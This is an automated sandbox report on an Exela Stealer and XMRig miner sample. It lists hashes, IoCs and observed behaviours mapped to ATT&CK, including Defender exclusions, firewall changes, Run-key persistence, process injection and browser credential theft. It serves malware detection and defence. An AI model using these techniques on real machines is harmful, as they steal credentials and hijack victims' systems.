exelastealer | b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13-01-2025 02:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe
Size

13.7MB
MD5

cc6d7a6b17febe201b7f7d26ce944c08
SHA1

231e8439c0facca7cc4b730bf950351d48e3a7c2
SHA256

b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd
SHA512

c2abd5a8a59e09951df3d17b591442097cb2615a57abbef9afee9660dcd59ece483ca9a6ab4e83a622235eef4c75ef64dc2b32b58829cef8c485e1517e9ba652
SSDEEP

393216:KsEANEX3gBGYVwwoE0VhUqE7SlO9h4m/a360m:KhIEX3kGN/XBEWs4EA60m

Score

10^/10

exelastealer xmrig collection defense_evasion discovery evasion execution miner persistence privilege_escalation pyinstaller spyware stealer upx

Malware Config

Signatures

Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
stealer exelastealer
Exelastealer family
exelastealer
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral2/memory/4352-353-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4352-354-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4352-360-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4352-359-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4352-358-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4352-357-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/4352-356-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4596	powershell.exe
3080	powershell.exe
2084	powershell.exe
1740	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2200	netsh.exe
2692	netsh.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3628	cmd.exe
2308	powershell.exe

Deletes itself 1 IoCs

pid	Process
4720	Exela.exe

Executes dropped EXE 4 IoCs

pid	Process
1984	Solara.exe
1668	Exela.exe
4720	Exela.exe
4284	rdqanwpudvuj.exe

Loads dropped DLL 32 IoCs

pid	Process
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe
4720	Exela.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Solara = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solara.exe"	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Exela = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Exela.exe"	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
3456	cmd.exe
4740	ARP.EXE

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3076	powercfg.exe
1328	powercfg.exe
4244	powercfg.exe
2604	powercfg.exe
2172	powercfg.exe
224	powercfg.exe
3288	powercfg.exe
3100	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	Solara.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	rdqanwpudvuj.exe

Enumerates processes with tasklist 1 TTPs 5 IoCs

discovery

Process Discovery

T1057

pid	Process
3664	tasklist.exe
2208	tasklist.exe
4192	tasklist.exe
5060	tasklist.exe
2772	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1968	cmd.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4284 set thread context of 1580	4284	rdqanwpudvuj.exe	235
PID 4284 set thread context of 4352	4284	rdqanwpudvuj.exe	239

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023cd9-101.dat	upx
behavioral2/memory/4720-105-0x00007FFD9F4B0000-0x00007FFD9F91E000-memory.dmp	upx
behavioral2/files/0x0007000000023ca7-107.dat	upx
behavioral2/memory/4720-113-0x00007FFDB1DB0000-0x00007FFDB1DD4000-memory.dmp	upx
behavioral2/files/0x0007000000023cd1-112.dat	upx
behavioral2/memory/4720-115-0x00007FFDB7CE0000-0x00007FFDB7CEF000-memory.dmp	upx
behavioral2/files/0x0008000000023cd0-116.dat	upx
behavioral2/files/0x0007000000023cd2-117.dat	upx
behavioral2/files/0x0007000000023cd7-118.dat	upx
behavioral2/files/0x0007000000023cdb-120.dat	upx
behavioral2/files/0x0007000000023cdc-121.dat	upx
behavioral2/files/0x0007000000023cda-119.dat	upx
behavioral2/files/0x0007000000023ca4-122.dat	upx
behavioral2/files/0x0007000000023caa-127.dat	upx
behavioral2/files/0x0007000000023cb1-134.dat	upx
behavioral2/files/0x0007000000023cb0-133.dat	upx
behavioral2/files/0x0007000000023cae-131.dat	upx
behavioral2/memory/4720-138-0x00007FFDB1DA0000-0x00007FFDB1DAD000-memory.dmp	upx
behavioral2/memory/4720-137-0x00007FFDB3990000-0x00007FFDB39A9000-memory.dmp	upx
behavioral2/files/0x0007000000023ca5-139.dat	upx
behavioral2/memory/4720-141-0x00007FFDB1D80000-0x00007FFDB1D99000-memory.dmp	upx
behavioral2/files/0x0007000000023caf-132.dat	upx
behavioral2/files/0x0007000000023cad-130.dat	upx
behavioral2/files/0x0007000000023cac-129.dat	upx
behavioral2/files/0x000700000001e104-128.dat	upx
behavioral2/memory/4720-146-0x00007FFDAEB70000-0x00007FFDAEB8F000-memory.dmp	upx
behavioral2/memory/4720-145-0x00007FFDAE860000-0x00007FFDAE9D1000-memory.dmp	upx
behavioral2/memory/4720-144-0x00007FFDAEB90000-0x00007FFDAEBBD000-memory.dmp	upx
behavioral2/files/0x0007000000023ca9-126.dat	upx
behavioral2/files/0x0007000000023ca8-125.dat	upx
behavioral2/files/0x0007000000023ca6-124.dat	upx
behavioral2/memory/4720-148-0x00007FFDAE680000-0x00007FFDAE6AE000-memory.dmp	upx
behavioral2/memory/4720-153-0x00007FFD9EF40000-0x00007FFD9F2B5000-memory.dmp	upx
behavioral2/memory/4720-152-0x00007FFDADFA0000-0x00007FFDAE058000-memory.dmp	upx
behavioral2/files/0x0007000000023cd4-162.dat	upx
behavioral2/memory/4720-177-0x00007FFDAE7B0000-0x00007FFDAE7CB000-memory.dmp	upx
behavioral2/memory/4720-176-0x00007FFDAEB70000-0x00007FFDAEB8F000-memory.dmp	upx
behavioral2/memory/4720-175-0x00007FFD9F390000-0x00007FFD9F4A8000-memory.dmp	upx
behavioral2/files/0x0007000000023cd6-174.dat	upx
behavioral2/memory/4720-173-0x00007FFDAE860000-0x00007FFDAE9D1000-memory.dmp	upx
behavioral2/memory/4720-170-0x00007FFDAE7D0000-0x00007FFDAE7F2000-memory.dmp	upx
behavioral2/files/0x0007000000023cde-169.dat	upx
behavioral2/memory/4720-168-0x00007FFDAE800000-0x00007FFDAE814000-memory.dmp	upx
behavioral2/memory/4720-167-0x00007FFDB3990000-0x00007FFDB39A9000-memory.dmp	upx
behavioral2/memory/4720-164-0x00007FFDAE820000-0x00007FFDAE834000-memory.dmp	upx
behavioral2/memory/4720-163-0x00007FFDB7CE0000-0x00007FFDB7CEF000-memory.dmp	upx
behavioral2/memory/4720-161-0x00007FFDB1D70000-0x00007FFDB1D80000-memory.dmp	upx
behavioral2/memory/4720-160-0x00007FFDB1DB0000-0x00007FFDB1DD4000-memory.dmp	upx
behavioral2/memory/4720-157-0x00007FFDAE840000-0x00007FFDAE855000-memory.dmp	upx
behavioral2/memory/4720-156-0x00007FFD9F4B0000-0x00007FFD9F91E000-memory.dmp	upx
behavioral2/files/0x0007000000023cb4-178.dat	upx
behavioral2/memory/4720-181-0x00007FFDAE740000-0x00007FFDAE758000-memory.dmp	upx
behavioral2/memory/4720-180-0x00007FFDAE680000-0x00007FFDAE6AE000-memory.dmp	upx
behavioral2/files/0x0007000000023cb3-182.dat	upx
behavioral2/files/0x0007000000023cb6-184.dat	upx
behavioral2/memory/4720-185-0x00007FFDADFA0000-0x00007FFDAE058000-memory.dmp	upx
behavioral2/memory/4720-187-0x00007FFD9EF40000-0x00007FFD9F2B5000-memory.dmp	upx
behavioral2/memory/4720-192-0x00007FFDADF10000-0x00007FFDADF42000-memory.dmp	upx
behavioral2/memory/4720-191-0x00007FFDAE720000-0x00007FFDAE731000-memory.dmp	upx
behavioral2/memory/4720-190-0x00007FFDB1D40000-0x00007FFDB1D4A000-memory.dmp	upx
behavioral2/memory/4720-189-0x00007FFDADF50000-0x00007FFDADF9D000-memory.dmp	upx
behavioral2/memory/4720-193-0x00007FFDAE840000-0x00007FFDAE855000-memory.dmp	upx
behavioral2/memory/4720-194-0x00007FFDAE5A0000-0x00007FFDAE5BE000-memory.dmp	upx
behavioral2/memory/4720-195-0x00007FFD9E740000-0x00007FFD9EF3B000-memory.dmp	upx

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1456	sc.exe
4608	sc.exe
1236	sc.exe
2072	sc.exe
4560	sc.exe
3184	sc.exe
636	sc.exe
2036	sc.exe
1544	sc.exe
1252	sc.exe
5060	sc.exe
4352	sc.exe
2460	sc.exe
992	sc.exe
184	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000a000000023c9f-43.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4632	cmd.exe
4808	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
5040	NETSTAT.EXE

Collects information from the system 1 TTPs 1 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
3416	WMIC.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2464	WMIC.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3120	ipconfig.exe
5040	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4240	systeminfo.exe

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1740	powershell.exe
1740	powershell.exe
4596	powershell.exe
4596	powershell.exe
2308	powershell.exe
2308	powershell.exe
2308	powershell.exe
1984	Solara.exe
3080	powershell.exe
3080	powershell.exe
3080	powershell.exe
1984	Solara.exe
1984	Solara.exe
1984	Solara.exe
1984	Solara.exe
1984	Solara.exe
1984	Solara.exe
1984	Solara.exe
1984	Solara.exe
1984	Solara.exe
1984	Solara.exe
1984	Solara.exe
1984	Solara.exe
1984	Solara.exe
1984	Solara.exe
4284	rdqanwpudvuj.exe
2084	powershell.exe
2084	powershell.exe
4284	rdqanwpudvuj.exe
4284	rdqanwpudvuj.exe
4284	rdqanwpudvuj.exe
4284	rdqanwpudvuj.exe
4284	rdqanwpudvuj.exe
4284	rdqanwpudvuj.exe
4284	rdqanwpudvuj.exe
4284	rdqanwpudvuj.exe
4284	rdqanwpudvuj.exe
4284	rdqanwpudvuj.exe
4284	rdqanwpudvuj.exe
4284	rdqanwpudvuj.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe
4352	conhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeIncreaseQuotaPrivilege	2464	WMIC.exe
Token: SeSecurityPrivilege	2464	WMIC.exe
Token: SeTakeOwnershipPrivilege	2464	WMIC.exe
Token: SeLoadDriverPrivilege	2464	WMIC.exe
Token: SeSystemProfilePrivilege	2464	WMIC.exe
Token: SeSystemtimePrivilege	2464	WMIC.exe
Token: SeProfSingleProcessPrivilege	2464	WMIC.exe
Token: SeIncBasePriorityPrivilege	2464	WMIC.exe
Token: SeCreatePagefilePrivilege	2464	WMIC.exe
Token: SeBackupPrivilege	2464	WMIC.exe
Token: SeRestorePrivilege	2464	WMIC.exe
Token: SeShutdownPrivilege	2464	WMIC.exe
Token: SeDebugPrivilege	2464	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2464	WMIC.exe
Token: SeRemoteShutdownPrivilege	2464	WMIC.exe
Token: SeUndockPrivilege	2464	WMIC.exe
Token: SeManageVolumePrivilege	2464	WMIC.exe
Token: 33	2464	WMIC.exe
Token: 34	2464	WMIC.exe
Token: 35	2464	WMIC.exe
Token: 36	2464	WMIC.exe
Token: SeDebugPrivilege	3664	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5016	WMIC.exe
Token: SeSecurityPrivilege	5016	WMIC.exe
Token: SeTakeOwnershipPrivilege	5016	WMIC.exe
Token: SeLoadDriverPrivilege	5016	WMIC.exe
Token: SeSystemProfilePrivilege	5016	WMIC.exe
Token: SeSystemtimePrivilege	5016	WMIC.exe
Token: SeProfSingleProcessPrivilege	5016	WMIC.exe
Token: SeIncBasePriorityPrivilege	5016	WMIC.exe
Token: SeCreatePagefilePrivilege	5016	WMIC.exe
Token: SeBackupPrivilege	5016	WMIC.exe
Token: SeRestorePrivilege	5016	WMIC.exe
Token: SeShutdownPrivilege	5016	WMIC.exe
Token: SeDebugPrivilege	5016	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5016	WMIC.exe
Token: SeRemoteShutdownPrivilege	5016	WMIC.exe
Token: SeUndockPrivilege	5016	WMIC.exe
Token: SeManageVolumePrivilege	5016	WMIC.exe
Token: 33	5016	WMIC.exe
Token: 34	5016	WMIC.exe
Token: 35	5016	WMIC.exe
Token: 36	5016	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2464	WMIC.exe
Token: SeSecurityPrivilege	2464	WMIC.exe
Token: SeTakeOwnershipPrivilege	2464	WMIC.exe
Token: SeLoadDriverPrivilege	2464	WMIC.exe
Token: SeSystemProfilePrivilege	2464	WMIC.exe
Token: SeSystemtimePrivilege	2464	WMIC.exe
Token: SeProfSingleProcessPrivilege	2464	WMIC.exe
Token: SeIncBasePriorityPrivilege	2464	WMIC.exe
Token: SeCreatePagefilePrivilege	2464	WMIC.exe
Token: SeBackupPrivilege	2464	WMIC.exe
Token: SeRestorePrivilege	2464	WMIC.exe
Token: SeShutdownPrivilege	2464	WMIC.exe
Token: SeDebugPrivilege	2464	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2464	WMIC.exe
Token: SeRemoteShutdownPrivilege	2464	WMIC.exe
Token: SeUndockPrivilege	2464	WMIC.exe
Token: SeManageVolumePrivilege	2464	WMIC.exe
Token: 33	2464	WMIC.exe
Token: 34	2464	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 1740	2032	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe	83
PID 2032 wrote to memory of 1740	2032	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe	83
PID 2032 wrote to memory of 1984	2032	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe	86
PID 2032 wrote to memory of 1984	2032	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe	86
PID 2032 wrote to memory of 4596	2032	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe	87
PID 2032 wrote to memory of 4596	2032	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe	87
PID 2032 wrote to memory of 1668	2032	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe	89
PID 2032 wrote to memory of 1668	2032	b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe	89
PID 1668 wrote to memory of 4720	1668	Exela.exe	90
PID 1668 wrote to memory of 4720	1668	Exela.exe	90
PID 4720 wrote to memory of 3712	4720	Exela.exe	91
PID 4720 wrote to memory of 3712	4720	Exela.exe	91
PID 4720 wrote to memory of 4664	4720	Exela.exe	95
PID 4720 wrote to memory of 4664	4720	Exela.exe	95
PID 4720 wrote to memory of 2160	4720	Exela.exe	96
PID 4720 wrote to memory of 2160	4720	Exela.exe	96
PID 4720 wrote to memory of 2172	4720	Exela.exe	97
PID 4720 wrote to memory of 2172	4720	Exela.exe	97
PID 4720 wrote to memory of 4728	4720	Exela.exe	98
PID 4720 wrote to memory of 4728	4720	Exela.exe	98
PID 4664 wrote to memory of 2464	4664	cmd.exe	103
PID 4664 wrote to memory of 2464	4664	cmd.exe	103
PID 4728 wrote to memory of 3664	4728	cmd.exe	104
PID 4728 wrote to memory of 3664	4728	cmd.exe	104
PID 2160 wrote to memory of 5016	2160	cmd.exe	105
PID 2160 wrote to memory of 5016	2160	cmd.exe	105
PID 4720 wrote to memory of 3944	4720	Exela.exe	109
PID 4720 wrote to memory of 3944	4720	Exela.exe	109
PID 3944 wrote to memory of 1820	3944	cmd.exe	111
PID 3944 wrote to memory of 1820	3944	cmd.exe	111
PID 4720 wrote to memory of 1488	4720	Exela.exe	112
PID 4720 wrote to memory of 1488	4720	Exela.exe	112
PID 4720 wrote to memory of 1556	4720	Exela.exe	113
PID 4720 wrote to memory of 1556	4720	Exela.exe	113
PID 1556 wrote to memory of 2208	1556	cmd.exe	116
PID 1556 wrote to memory of 2208	1556	cmd.exe	116
PID 1488 wrote to memory of 4012	1488	cmd.exe	117
PID 1488 wrote to memory of 4012	1488	cmd.exe	117
PID 4720 wrote to memory of 1968	4720	Exela.exe	118
PID 4720 wrote to memory of 1968	4720	Exela.exe	118
PID 1968 wrote to memory of 1604	1968	cmd.exe	120
PID 1968 wrote to memory of 1604	1968	cmd.exe	120
PID 4720 wrote to memory of 5036	4720	Exela.exe	121
PID 4720 wrote to memory of 5036	4720	Exela.exe	121
PID 5036 wrote to memory of 4192	5036	cmd.exe	123
PID 5036 wrote to memory of 4192	5036	cmd.exe	123
PID 4720 wrote to memory of 2896	4720	Exela.exe	124
PID 4720 wrote to memory of 2896	4720	Exela.exe	124
PID 4720 wrote to memory of 972	4720	Exela.exe	125
PID 4720 wrote to memory of 972	4720	Exela.exe	125
PID 4720 wrote to memory of 2516	4720	Exela.exe	126
PID 4720 wrote to memory of 2516	4720	Exela.exe	126
PID 4720 wrote to memory of 3628	4720	Exela.exe	127
PID 4720 wrote to memory of 3628	4720	Exela.exe	127
PID 3628 wrote to memory of 2308	3628	cmd.exe	133
PID 3628 wrote to memory of 2308	3628	cmd.exe	133
PID 2896 wrote to memory of 2492	2896	cmd.exe	134
PID 2896 wrote to memory of 2492	2896	cmd.exe	134
PID 2516 wrote to memory of 5060	2516	cmd.exe	135
PID 2516 wrote to memory of 5060	2516	cmd.exe	135
PID 2492 wrote to memory of 4952	2492	cmd.exe	136
PID 2492 wrote to memory of 4952	2492	cmd.exe	136
PID 972 wrote to memory of 2020	972	cmd.exe	137
PID 972 wrote to memory of 2020	972	cmd.exe	137

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

